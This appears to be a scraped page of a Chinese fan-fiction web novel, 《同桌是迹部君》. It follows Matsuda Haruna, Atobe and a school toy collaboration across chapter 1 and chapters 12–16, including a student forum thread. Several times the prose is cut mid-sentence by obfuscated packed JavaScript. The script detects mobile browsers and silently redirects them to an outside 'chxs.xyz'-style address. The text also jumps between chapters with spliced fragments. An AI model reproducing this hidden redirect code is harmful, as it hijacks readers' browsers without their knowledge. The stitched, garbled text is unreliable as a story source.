《同桌是迹部君》 1. 第 1 章 《同桌是迹部君》全本免费阅读 [] “今天就要去冰帝报道了,记得把证件带全啊,春奈妹妹。”萩原研二刚一进门,就大声嚷嚷道。 松田阵平一边拆着新买来的小玩具,一边头也不抬地说道:“第一万零一次告诉你,那是我妹妹!” 他的重音落在最后三个字上,咬字十分清晰。 萩原研二笑着过去搂住自家发小的肩膀:“我姐不也这么叫春奈妹妹吗,你怎么不和她强调重音啊。” 松田阵平一脸嫌弃地拂过他的手:“千速姐是女生,那能一样吗?” 萩原研二刚要回怼,余光看到松田春奈一副没睡醒的样子,慢吞吞地从房间里出来。她右手上拿着一个皮卡丘的双肩包,揉着眼睛,打着哈欠,可爱的简直不像松田这家伙的妹妹。 他立刻将声音放柔,把进门的问题又问了一遍。 “托我哥的福,昨天他就一遍遍地念叨这件事。我整理好证件之后,他老人家又不放心,亲自过目了好几遍才算完。”松田春奈一脸无奈。 “哼哼。”松田阵平把手中的活停下,抬头看向她,“把交通卡掉了无数次的人,有什么资格说让别人放心这种话。” 松田春奈感觉自己一股热血都在向脸上涌,大声分辩道:“只是掉了三次而已!” “对,从你国一办卡开始,到目前为止,只是掉了三次而已。”松田阵平接着补刀,“而且每次丢卡都是在刚冲完钱的时候。” 萩原研二眼看兄妹之间形势不好,立刻插话:“小阵平,你明明很关心春奈妹妹,不要每次这么都表达地这么别别扭扭——” 松田阵平立刻炸毛,转头怒视:“谁别扭了?” 萩原研二拉长尾音:“欸——只反驳了表达问题,没有反驳关心这件事。” 松田春奈感觉自己掰回一程,脑袋向上一抬,黑色的小卷毛在空气中轻轻地晃动:“傲娇系人设已经不吃香了,现在流行的是直球选手。哥哥,需要我给你个表达关心我的机会吗?” 松田阵平看着她得意洋洋的臭屁表情,莫名感觉手有些痒,控制住了内心想把那一头小卷毛揉乱的冲动,轻哼一声。 “那就帮我背书包吧。”松田春奈把双肩包递过,“你昨天到底往我书包里塞了多少东西啊,怎么这么重。” 松田阵平长臂一抓,再次拉开书包拉链,确认该带的证件有无遗漏。萩原研二凑过去,和他一起对照备忘录挨个打勾。 松田春奈彻底放弃自己书包的监护权,率先去玄关穿鞋。客厅的两人确认无误之后,松田阵平随手把桌子上泡好的柠檬蜂蜜水放进包里,然后起身离开。 冰帝学园离松田春奈家很近,步行大概十分钟左右就能到。 松田阵平嫌弃皮卡丘的双肩包太幼稚,不肯背到身后,只是在手中提溜着。 松田春奈一边用手机导航,一边听着左右护法的唠叨。主要是松田阵平在输出,萩原研二负责补充。 松田阵平:“警校马上也要开学,你去了冰帝之后,我可能没法天天接你放学。自己回家要注意安全,实在不行,就让老爸接送你。” 萩原研二:“到时候发了警校制服,我和小阵平可以穿着它去冰帝接你,到时候一定没人敢欺负你。” 松田春奈有些无奈:“我只是去上学,又不是入虎穴。你们俩没必要这样。” “听说有钱人家的小孩…”松田阵平继续嘟囔,“算了,反正你要是受欺负的话,一定要告诉我。” 已经能看冰帝学园的轮廓了,松田春奈把手机收起来:“放心吧,我的拳击还是爸爸教的。” 松田阵平点评:“突击还行,耐力太差。以前让你跟着我一起慢跑,你非不干。” 顿了几秒,他继续说道:“等我给你写一张锻炼计划表,你照着上面的要求做,我回家的时候会检查。” 松田春奈闻言如打五雷轰:“饶了我吧,我又不上警校。” 萩原研二打圆场:“听说冰帝高中部是有体测的,所以春奈妹妹还是稍微锻炼一下比较好。” 想了想,他凑过去悄声说道:“放心,我保证锻炼计划不会过分,我监督小阵平。” 松田春奈怏怏地把书包拿回来,捂住耳朵,稍微快跑了几步。书包上的皮卡丘耳朵和她的发尾一起颤动,很是可爱,看得人心头发软。 松田阵平咽下多余的话,在心里做好打算,大不了在警校多请几次假出来看看她好了。 这家伙从小身体就弱,稍微运动几下就累,还是别逼她了。 直到把入学手续都办完,松田春奈还是一幅提不起兴趣的样子。冰帝学园占地很大,他们在校园里随便参观了一下,主要确定了教室和食堂的具体位置。 松田春奈怕冷,今天特意穿得有些多,走了一路之后,一头小卷毛没有生机地贴在脸颊两侧,被汗水浸湿,看起来有些病恹恹的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266286|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷的家境条件不是一般的优越,国中的时候脾气还挺大的,现在看起来是收敛了点,但其实是学会了掩饰,把霸道的那部分性格隐藏了起来。 为了防止他一时想不通去钻牛角尖,忍足侑士决定好好开导开导他。 “迹部,有句话说得好,强扭的瓜不甜。” “那可不一定。” “?” “只要吃的人觉得甜就行。” 忍足侑士:“......” 他脑子里快速过了一遍霸道总裁强制爱的剧情,小心翼翼地开口。 “迹部,违法犯罪的事你可不能做。” “你脑子里在想些什么奇怪的东西?” “就是言情小说里经常出现的那些场景,就算得不到你的心,也要得到你的人之类的。” 忍足侑士看着迹部景吾恍然大悟的表情,心里顿时咯噔一下。 坏了,不会本来他没有这个想法,结果让自己给启发出来了吧。 “放心。我有律师团。” “?” 不是,大哥你什么意思?这话听着就很危险好吗?! 迹部景吾知道自己的状态可能出了点问题,他从小就知道,作为一个继承人,他各方面都必须要是最好的。 不论是身体素质,还是心理状态。 虽然说学习对他来说不算什么难事,但时刻保持着各方面都让所有人满意,也会让他偶尔喘不过气。 他就像一张被长时间拉紧的弓,已经忘了怎么去放松。 直到松田春奈的出现,以不小的分差在学业上强压他一头,打破了他一直以来第一的惯例。他才忽然察觉,自己是可以放松下来的。 精神紧绷的时候太多了,所以偶尔的大脑放空,就会像精神鸦.片一样,让人上瘾。 迹部景吾的眼神变得晦涩起来,他估摸着这个时候松田春奈应该已经吃完饭了,和部员道别之后,打算去楼上的办公室等她。 办公室的门敞开着,阳光有些刺眼,他看不清窗边那个模糊的身影,只能看到松田春奈正在和一个高大的男生说笑。 迹部景吾感觉到自己太阳穴附近的血管跳得他发疼,他掐了掐手心,声音中带着三分笑意,朝他们走了过去。 “松田,这是你的朋友吗,之前怎么没有听你提起过?” 作者有话要说: 感谢在2024-01-2123:35:35~2024-01-2422:10:00期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:朝知不知道5瓶;非常感谢大家对我的支持,我会继续努力的! 13. 第 13 章 为了中午能空出时间给迹部景吾道歉,松田春奈上午下课之后特意早早来到办公室,打算把工作都提前处理好。 中午甚至都没去食堂吃饭,只简单地用面包就着热水凑合了一下。 就在她快处理完的时候,办公室的门突然被敲响了。 松田春奈抬眼望去,是一个她从未见过的陌生男同学。 他戴着眼镜,整个人看起来很斯文,唇角带着笑意。 “松田桑你好,我是三井树。想来和你商量一件事。” 看着松田春奈点头同意之后,他这才走进来。 站在门外的时候,三井树的身高看起来还没有那么夸张。随着他一步步地靠近,松田春奈逐渐感受到了来自对方身高的压迫感,下意识地往后退了一步。 好在三井树很有社交分寸,在距离她办公桌还有几步路的时候就适时停下了脚步。 他语气温和:“松田桑,听说你最近在找玩具厂合作制定食堂菜品的玩具周边是吗?我特意过来找你自荐。” 松田春奈闻言眼前一亮。 【食堂美食101】最近进行到了激烈的第二晋级阶段,眼看着论坛留言越来越多,流量暴增。 她灵机一动,决定和玩具厂联名出个玩具周边,赚点小钱。 学生手册里明确写了,像是学生会的这种牵头项目,盈利的钱可以按比例给到个人。 想到自己的医药费,松田春奈决定试试,抓住机会,当一次站在风口的猪。 联系玩具厂不是一件简单的事,虽然冰帝学子的身份很好用,但是前期的各项准备工作也是个大头。 并且不是所有的厂商负责人都会愿意和未成年合作。 松田春奈前期打了不少电话,很多时候只说了个开头就被挂断了。 她也知道自己的优劣势在哪,所以不会去找特别大的玩具厂,但中小厂更会担心货物积压卖不出的问题。 偶尔也会有人欣赏她的想法——但仅限于精神方面。 反正,婉拒她的厂子加起来能绕米花町一周。 松田春奈难得觉得挫败,但没想到这么快就柳暗花明又一村了。 虽然很开心有人愿意和她合作,但是想了想,她还是遗憾地摇了摇头。 毕竟从一开始,她就没有想过和学校同学背后的家族扯上关系。 不是她清高,而是她觉得,人情债才是这个世界上最难还的。 她虽然年轻,但也知道生活是不会白给自己东西的。人们从命运中得到的一切,冥冥之中自有价钱。 而她,不想付出这笔价钱。 三井树显然没有预料到这个答案。 他抬起手,扶了一下眼镜,手腕处的袖扣小巧精致,上面好像刻着什么图案。 松田春奈猜测应该是他们三井家的家徽。 她做过调查,知道日本目前最大的玩具厂商就是“三井”旗下的,他一开始自报家门,应该就有这个原因。 三井树也不气馁,接着问道:“松田桑,我能问句为什么吗?” 松田春奈把自己的“价钱理论”告诉了他。 三井树沉默片刻,轻笑出声:“松田桑,我是真的很看好你这个想法。你放心,这绝不是什么人情债,因为我从不会做亏本的买卖。” 该怎么说呢,真不愧是资本家的后代。 发言一下子就说服了松田春奈,她开始动摇了。 三井树把一摞文件递了过来。 松田春奈低头一看,发现是厚厚的一沓律师合同。 三井树:“松田桑,这是我的诚意。具体的合作,可以等你看完再细聊。” 松田春奈翻开第一页,看了眼目录,正色道:“三井君,我会尽快给你答复。” 就在这时,迹部景吾的声音突然从远处传来—— 松田春奈把身子往旁边侧了侧,确保自己不会被三井树挡住,朝迹部挥了挥手。 她开口解释:“迹部,这是三井君,过来找我谈合作。” 三井树眼睛弯起,向他伸出右手:“迹部君,好久不见。” 迹部景吾的右手轻微用力,礼节性地和他寒暄了一会。 大家低头不见抬头见的,虽然说不上熟识,但也听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266287|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过彼此的消息。 绕了半天圈子,迹部景吾忍不住开口:“你们谈完了吗?我在这里会不会打扰到你们?” “第一阶段算是谈完了。” 三井树摸着鼻子,看了一眼松田春奈。 他把手机锁屏打开:“松田桑,我们加个联系方式吧。如果你考虑好了的话,可以随时找我。” 迹部景吾的雷达瞬时间动了。 这个话术怎么似曾相识的样子! 这不就是他之前加松田春奈说得话吗! 三井这家伙说的,可全是他之前的词儿啊! 迹部感觉自己现在的嘴里正在一阵一阵泛酸水,他死死盯着三井树的屏幕,确认他给松田春奈的备注上没有加什么乱七八糟的爱心符号,也不是有任何指代意义的词汇。 就只是简简单单的名字。 他终于松下一口气。 但很快,眉毛又拧了起来。 为什么光备注名字也会让他觉得不对劲呢? 感觉这家伙不管备注什么都很碍眼。 三井树抬头笑道:“我没记错的话,松田桑头像上的这只羊毛毡造型好像是‘三井’的典藏款。” “不愧是三井君。我做成这样都能认出来。” “虽然说做得和原版有亿点偏差,但是还是有一个优点。 “什么优点?” “不会被‘三井’的法务部判侵权。” 迹部景吾看着他们两相谈甚欢的样子,感觉自己像是被滴入水的浓硫酸。 内心在翻滚沸腾,不断冒着名为嫉妒的气泡。 不就是玩具厂吗?! 有什么了不起的! 今天回家他就用零花钱收购一个! 作者有话要说: 大爷内心os:天凉了,让三井集团破产吧~感谢在2024-01-2422:10:01~2024-02-0300:52:46期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:尛10瓶;朝知不知道、江惜晨1瓶;非常感谢大家对我的支持,我会继续努力的! 14. 第 14 章 在迹部景吾的耐心耗尽之前,三井树终于离开了。 迹部目光锐利地扫过桌子上的合同,内心有些酸涩。 她要和别人合作的事情,自己还是从别人那里知道的。 他让自己冷静下来,然后主动出击:“松田,你和三井君的合作方便让我知道吗?我在这方面还算有经验,说不定也能帮你出出主意。” 松田春奈知道他每天都会处理一些家族事务,偶尔还会在他忙不过来的时候,帮他点小忙。 所以对迹部的能力非常信任,于是长话短说,把打算做玩具周边的事告诉了他。 迹部景吾的手指无意识地敲着桌面:“如果你想找人合作玩具的话,三井君确实是个不错的合伙人。” “三井家的信誉度在业内是数得上的,和他们合作不亏。” “我本来没想和大厂合作,觉得这方面市场不算大,他们可能看不上这点盈利。” “三井君既然愿意来主动找你,就代表你的想法很有潜力。” 松田春奈忽然就有了信心,整个人干劲十足。 迹部景吾点了点桌上的合同:“松田,你有认识的律师吗?就算合作伙伴是认识的人,合同还是要好好过一遍的。” 松田春奈点头道:“有的。我家附近有位邻居,正好在这方面很有名,我打算去找她帮忙看看。” 迹部景吾说这话,本来是想通过推销自家的律师团队,来达成借机约会的目的来着,没想到此路不通。 不过他也不气馁,起码现在两人的共同话题又多了不少,也算是好处一桩。 感觉迹部好像心情还不错的样子,松田春奈觉得现在是个道歉的好时机。 “迹部,昨天下午的事情,我要向你道歉,对不起。” 迹部景吾愣住了。 道歉? 她向自己道什么歉? 他的身体微微前倾,不解道:“昨天你又没有做什么,为什么要向我道歉?” 松田春奈看着他认真的眉眼,在内心谴责自己。 看看!看看! 这就是学生会长的宽大胸怀! “你昨天好心送我回家,路上我还对你态度冷淡——” “你要是这么说的话,道歉的人应该是我才对。昨天莫名其妙对你说了奇怪的话,吓到你之后才会这样。” “那不怪你,是我自己想多了而已。” 迹部景吾:“……”桥豆麻袋,他敢肯定你一点也没想多,反而还想少了。 抓住时机,他立刻说道:“你说得想多了是指——” 松田春奈摸了摸耳垂,有点不好意思对他说自己的心路历程。 这种以为别人喜欢自己,自己冷淡待之,但最后发现是自作多情的事真的太尴尬了。 她简略答道:“没什么。毕竟你是学生会长,对谁都会这么热心肠的。” 迹部景吾再次愣住。 他从来没想过,有天会有人会用热心肠这个词来形容自己。他甚至有些疑惑,这说得是他吗? 他一直以为,自己长大后面临的会是“奸商”、“冷血无情的资本家”这种词才对。 看着他没有反对的意思,松田春奈松了口气,试探道:“那,我们这样就算和解了?” 迹部景吾失笑:“本来我们也没有吵架吧。” 松田春奈打蛇随棍上,直截了当地问道:“那你为什么今天一上午都故意不理我?每节课的课间还都不在教室,我想和你道歉都找不到人。” 迹部景吾没想到她这么直接,轻咳一声,不好意思地解释道:“我以为你昨天因为我的那句话生气了。” 松田春奈瞪大双眼,有些不能接受这个理由:“你以为我生气了,所以才故意不理我吗?” 她的瞳仁偏大,盈盈地像一汪水,满是控诉地看着他。 迹部景吾觉得自己此时的心软得不像话,柔声哄她:“没有故意不理你,是我不好意思面对你。我害怕你要和我绝交,所以才下意识逃避。” 松田春奈觑视着他:“既然害怕面对我,那你中午怎么还是来了。” “因为我不想失去你...这个朋友,所以我鼓足勇气来了。” 迹部景吾有些忐忑:“松田,你能原谅我吗?” 突然之间,两人之间的关系就倒了个个儿。 原本接受歉意的人,变成了想祈求别人原谅的人。 不得不说,带着一点脆弱感的男生,比平时更加迷人。 迹部的睫毛轻轻扫过眼睑,在他黝黑深邃的眼眸中,泪痣仿佛是在银河间静静浮动的小船。 松田春奈轻轻呼出一口气。 “我原谅你了。” 迹部景吾像是听到了特赦的罪犯,狠狠地松了一口气。咧着嘴笑了起来,活像个傻憨憨。 “但是——” 松田春奈拉长声音,迹部景吾立刻绷紧神经,眼巴巴地看着他,等着她发号施令。 帅哥的不自觉卖萌真是一大杀器,松田春奈强行忍住,告诉自己不要笑出声,凶巴巴地说道:“下次如果有矛盾,不许憋在心里,大家开诚布公。这点能做到吗?” 迹部景吾立马点头,他的发胶已经不起作用了,头发凌乱地在额边堆着。 远没有平时自带的那种精英感,但却更加真实。 松田春奈知道他喜欢打理自己,努力保证每一次都是以最佳面貌示人。 她使坏地把小镜子向他面前一递,眼看着迹部景吾变了脸色。手忙脚乱地开始收拾自己,把手指当作梳子,直接把头发向后捋去,露出整洁的额头,荷尔蒙的气息扑面而来。 静静欣赏了一会美男害羞,松田春奈决定送佛送到西,从抽屉里拿出一个羊毛毡玩偶,是一个做工精巧的约克夏布丁。 “迹部,这是我昨天为了道歉现扎的。听说你喜欢吃布丁,所以找了网上的图片照着做得,希望你喜欢。” “谢谢,我很喜欢!” 迹部景吾开心中又夹杂着一丝郁闷,他摸着羊毛毡,指尖传来轻微的痒意。 和松田春奈一比,他觉得自己准备得实在是太不充分了。 道歉不如她直接了当就算了,就连礼物也没有人家准备得齐全。 他有些沮丧:“松田,对不起。我没有给你准备礼物。你能再原谅我一次吗?” 松田春奈觉得他今天像是被雨水淋湿的可怜小狗,身后的尾巴也不甩了,让忍不住心生怜悯。 她笑眯眯道:“可是,迹部你的礼物我明明已经收到了。” 他抬头看她,眼神有些迷惘。 “你刚刚给我的鼓励就是最好的礼物了。” 牙白! 这招也太超过了! 迹部景吾感觉自己整个人像是在燃烧,耳朵尖烫得厉害。 装作整理发型的样子,他悄悄把手放过去降温,嘴角却忍不住勾起。 * 论坛热帖。 【八一八之会长的书包挂件之我见!】 楼主:话说咱会长是不是恋爱了啊?我看他最近在书包上挂了个玩偶,是个可可爱爱的Q版小布丁。卡哇伊得很。我记得他以前从来没挂过这种东西。 1L:虽然我也发现了,但是我猜应该是没谈,顶多是暧昧期。不然就咱会长这个性格,早就昭告天下了好伐。 2L:啧啧啧,谁来扒一下会长的心仪对象啊,能让这位大爷这么...这么...都不找不着词儿来形容他了。 3L:楼上我来形容——荡漾~ 7L:我其实有个设想来着,但还是算了... 8L:其实会长的那个玩偶就很像最近三井他们家新出的那款“食堂羊毛毡”概念唉。 9L:别提了,我当初也以为会长是在三井那儿买的,觉得好看,打算去买同款来着。结果人说,他们就没出这个款! 10L:所以说,那个布丁羊毛毡是有人给会长定制的?哦买噶,我也想要专门的定制款!有偿!欢迎那位同学找我合作! 14L:我再补充一个信息,三井他们家新出的这款羊毛毡,是和那位漂亮妹妹合作的哦~ 15L:! 16L:!! 17L:!!! 18L:隐隐约约是有听说过啦~ 19L:我怎么感觉...好像扒到了什么呢...谁赞成,谁反对。 35L:不过合作的这事他们也没瞒着吧。我看他们经常会去讨论这些事,听说周边的绘图草稿都是漂亮妹妹提供的呢。 36L:话说,妹妹是真的很有妹感,谁懂? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266288|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 37L:我懂!我懂!我太懂了!卷毛猫眼乖巧萌妹,呜呜呜呜好想有个这样的妹妹啊啊啊啊啊啊!!!! 38L:天杀的人贩子,我一眼就知道这是我的亲妹妹,不知道谁把她从小就抱走了呜呜呜呜。 40L:楼上的劝你们谨慎发言哈。妹妹是真的有哥哥的,还是警校生哦,看起来超凶! 47L:还记得之前妹妹的哥哥来学校接她,不知道的还以为是□□来收保护费了... 48L:但妹的哥哥也是卷毛耶,仔细看是帅的! 49L:问题是那位哥的气场太强大了,不敢仔细看... 50L:还有那位哥的几个同伙。每次看见他们都会让我怀疑,咱们国家的警校生为什么会带着一股子匪味儿呢。 51L:楼上注意措辞,那不是同伙,是同伴。 55L:我们是不是跑题了... 56L:小道消息,会长也有入股哦。还友情提供了他们家的律师团。 57L:我真的要开始磕了,谁来管管我。 58L:等下,我捋捋。也就是说这个项目是妹妹,会长和数字哥(代指一下)一起搞得。妹妹负责供稿提供思路,会长负责提供律师,数字负责加工。 59L:感觉..破案了捏。会长好眼光,那个羊毛毡真的巨可爱,布丁还是拟人化的呢,脸上的腮红巨可爱。 60L:会长看起来也是那种慕强的人,喜欢妹妹还是挺正常的。 61L:可是,我磕的一直都是数字哥和妹妹唉。高大温柔年上男*娇小狡黠年下女!多好磕! 62L:我倒觉得会长和妹妹更好磕。苦苦追求却爱而不得从而黑化的精英男*天真懵懂向往自由的妹。 63L:楼上两位别光嘴上说说,我给你们递笔,写给我看啊倒是!!! 65L:要不,他们三个人在一起得了,就当是为了我。因为我爱看恩劈... 66L:楼上,这里是评论区,不是无人区。 70L:我不同意!!!会长SAMA是大家的!她怎么能配得上?! 71L:楼上别在这里发癫哈。别的不说,妹妹每次考试都力压会长,勇夺第一,你能吗?而且还多才多艺,经商头脑也有一套。谁配不上谁还另说呢哈。 72L:就是就是!更别提,现在是你的SAMA在暗恋人家哟,把人家送的玩偶挂在书包上天天晃的人是你的SAMA,又不是妹妹。怎么样,是不是更破防了? 77L:我也不同意,我觉得那位平光眼镜哥和妹妹更搭。大灰狼*小白兔,嘿嘿嘿嘿嘿嘿嘿懂的人有福了。 78L:我也不同意,我觉得妹妹和我更搭! 80L:告白被拒过的人来说一句,她拒绝人的时候也很温柔,搞得我都没法死心。 81L:!!!!我靠楼上你谁啊???你给我自爆马甲立刻马上!!!!! 82L:赞同楼上上的。虽然拒绝得很干脆,但是又...害,我也知道自己配不上她,但还是喜欢她TT。 83L:不是,怎么回事?大家不是私下里说好不去表白的吗?你们怎么玩这套?! 85L:废话,那么说当然是为了稳住你们,然后私下里再去为爱冲锋。 86L:啧,男人。 87L:啧,男人。 88L:男人,你的名字叫狡猾~ 90L:我性别女,也去和妹妹表白了。但是妹妹一点也没有吃惊的表情,所以感觉也有蛮多同性跟她说过的。 91L:只能说明,妹的长相和性格,是男女通杀的。 98L:刚去问了妹妹接不接羊毛毡定制,结果她婉拒了。现在看会长有点不顺眼了,谁懂。 99L:打算去当会长爱情道路上的绊脚石了。 100L:加我一个。 101L:加我一个。 作者有话要说: 我是真的好爱写论坛体,写起来特有灵感哈哈。感谢在2024-02-0300:52:46~2024-02-0422:00:54期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:朝知不知道、矮杉是师控1瓶;非常感谢大家对我的支持,我会继续努力的! 15. 第 15 章 食堂系列的联名玩偶一面世,销量就一路攀升。 拟人化的Q版菜品俘获了不少人的心。 松田春奈交玩偶画稿的时候,特意和三井树说过,在食堂TOP10选出来以前,先制作那些被淘汰的菜品玩偶。 等论坛最后选出来“出道菜品”的时候,直接以盲盒的形式,出售这最后十款。 三井树不理解,为什么不一开始就出盲盒款。迹部景吾也是如此。 松田春奈问道:“咱们的食堂联名系列总共有101个玩偶。如果你们想全部集齐,会怎么做?” 三井树和迹部景吾对视一眼,异口同声道:“全买下来。” 她就知道是这样... 松田春奈看着这些不食人间烟火的大少爷们,无奈道:“那是你们的想法。可是对于我们普通人来说,如果玩偶太多的话,集不齐就会放弃,因为一直买下去集齐的性价比太低。” “但是如果数量减少到十个,大家能看到集齐的希望,才会有动力去继续购买。” 三井树好奇地多问了一句:“如果换做是你,松田你会为了集齐全套而一直买下去吗?” 没错,经过这段时间的相处,三井树凭借玩偶带来的利润,直接上位成了朋友,成功把姓氏后面的敬语给摘掉了。 迹部虽然心里不爽,但也无可奈何。 好歹他也凭借律师团队入了伙,每次都能光明正大加入他们的讨论。 “我不会。” 想都没想,松田春奈脱口而出,回答得干脆利落。 “就算全套是十个也不会吗?” “不会。” “为什么?” “大概是...因为没什么必要吧。” 她的人生好像从出生就自带一套防沉迷系统。 和同龄人相比,她没有疯狂地喜欢过什么明星,对正流行的事物也只是知道个皮毛,就这还是为了社交场合搭句话而已。 有时候,她也挺羡慕自己哥哥的。起码,他知道自己真正喜欢什么。 * 《学生月刊》的效率很快,前阵子刚采访完,记者小姐昨天就告诉她,样刊已经给她寄到学校了,记得去拿。 等到她拿着杂志回到教室时,发现隔壁班的川岛花又来班里找她了。 松田春奈深吸一口气,右脚自动拐弯,打算趁她没看见自己的时候,先去走廊里站着躲会儿。 “松田桑!不要躲了,我都看到你啦!”川岛花声音洪亮地说道。 松田春奈揉了揉太阳穴:“川岛桑,我是真的不接手工定制的单的。你过来找我几次也没用的。” “我知道的。上次我磨你磨了那么久,你都没答应。我就已经放弃这条路了。”川岛花说道。 “那你是来——” “所以我打算直接找迹部君做生意。” “?” 松田春奈眼睛瞪得溜圆,看向身旁的迹部景吾,不可思议道:“迹部,你也会做手工玩偶吗?” 迹部景吾摇头:“我不会做。” 他紧皱着眉头,双手交叉放在胸前,成一种防御的姿势。 “川岛桑,你死心吧。我是不会卖那个玩偶的。” “我可以加钱!” “多少钱也不卖!” 川岛花终于认清现实,提出了最后一个要求:“那你让我拍下照总可以吧,回头我找人给我做个同款。” 迹部景吾不情不愿地答应了。 让她不许伸手触碰,只是隔空对着布丁玩偶拍了几张照就算结束。 川岛花吐槽:“迹部君,这么小气可是会找不到女朋友的。” 迹部景吾充耳不闻,公事公办。 “川岛桑,你为什么这么想要这个布丁玩偶啊?” 察觉到川岛花终于没有要追着她不停撒娇卖萌要玩偶的意思了,松田春奈放松下来,好奇地问道。 “因为我有强迫症和收集癖啊。” “一旦开始收集一个系列,不集齐的话,我心里就特别难受,跟有猫在抓我似的。” “你给迹部君做得这个,就相当于这一系列的典藏款,集不到的话就会难受加倍!” 松田春奈终于理解了,她有些不好意思,觉得自己之前拒绝她的态度有点过于坚决。 川岛花潇洒得很,她大手一挥:“松田桑,你也不用不好意思,咱们买卖不成仁义在嘛,以后有机会再合作。” 迹部景吾等川岛花走了之后,才小心翼翼地把布丁玩偶又挂到书包上。 忍足侑士坐在后面,看着牙酸得不行:“迹部,差不多得了。再碰下去小心掉了。” “不会,我在里面放了GPS定位芯片。就算丢了,也能第一时间找到。” 忍足侑士:“......”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266289|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是服了。 他看着迹部一脸认真的样子,还是咽下去了自己想要吐的槽。 算了,还是回去和谦也八卦比较好。 松田春奈悄悄翻开样刊,默默看着自己的专访。 记者小姐的文字功底很深厚,故事娓娓道来,让人情不自禁地想一直读下去。 读罢,松田春奈强烈怀疑记者小姐给自己加了好几层滤镜,故事里把她塑造得简直美好得不像话。 先是凭借年级第一进入学生会,在选择了最难的任务之一后,又靠着才华把这个项目做得红红火火,风靡全校。 把她说得是天上有地上无。 松田春奈越看越脸红。 看到最后,简直是羞耻心爆棚。 她给自己扇了扇风,努力让脸上的绯红消下去。 然后把额前的碎发随手一捋,给记者小姐发讯息道:“川岛桑,样刊已经收到了。多谢你把我写得这么好。” 记者小姐的消息回得很快:“松田桑,不用谢。因为你本来就是这么优秀,我只不过是直观陈述,仅此而已。” 迹部景吾神采奕奕地和忍足侑士斗完嘴之后,转过身来后发现家好像被偷了。 松田春奈这副脸红娇羞,嘴角含笑的样子,简直太刺激人了。 他顿时警铃大作,但又碍于绅士风度,不好去偷瞄他人隐私。 他掰着指头复盘,他知道最近有人跟她表白,但松田应该是都拒绝了的。 毕竟,他的福尔摩斯全集也不是白看的,女孩谈没谈恋爱还是能看出来的。 所以,这个和她发消息的家伙到底是哪里蹦出来的啊喂! 迹部景吾忍不住去求助忍足侑士:“忍足,如果一个女生红着脸和别人发消息的话,是不是代表她发烧了啊?” 忍足侑士抬头看了眼前桌,感觉大仇得报,假惺惺地回复:“恭喜你,你喜欢的女生好像要恋爱了。” “不过好像不是和你哦。” 作者有话要说: 忍足忍不住嘴贱之后,部活还得去和迹部对打,何必呢你说。感谢在2024-02-0422:00:54~2024-02-0521:59:14期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:Renegade81瓶;我们班10瓶;程澄呈2瓶;非常感谢大家对我的支持,我会继续努力的! 16. 第 16 章 忍足侑士当天就为自己的嘴贱付出了惨重的代价。 向日岳人完全无法理解,既然每次嘴贱都会被迹部收拾,那为什么还要继续嘴贱下去? 忍足侑士满身大汗地靠在他身上:“岳人,你不懂,这是我们关西人的倔强。” 向日岳人一抖肩膀,让忍足差点跌个趔趄:“少来。明明是你自己的问题,少上升全体关西人。” “喂!岳人,你也太没有搭档爱了吧。”忍足侑士喊道。 向日岳人看他实在可怜,右腿抖得和帕金森似的,伸手把他大半身体搭到自己背上,一步一步拖着他回更衣室。 “岳人。”忍足侑士安静了没一会儿,又开始作妖。 “干嘛?” “以后你还是多喝点牛奶吧。” “?” “你这么拖着我,我的腿老是耷拉在地上,不舒服。” 向日岳人冷笑一声:“既然不舒服,那你就自己走回更衣室吧。” 望着他扬长而去的冷酷背影,忍足侑士四处寻觅,努力寻找下一个苦力。 “泷——” “别看我,我扶你的话,你的腿也伸不直。” “穴户——” “我身高也不够。” “芥川——还在睡呢?” “zzZZ” “小景——算了,你也不行,我记得你比我矮三厘米” “......” 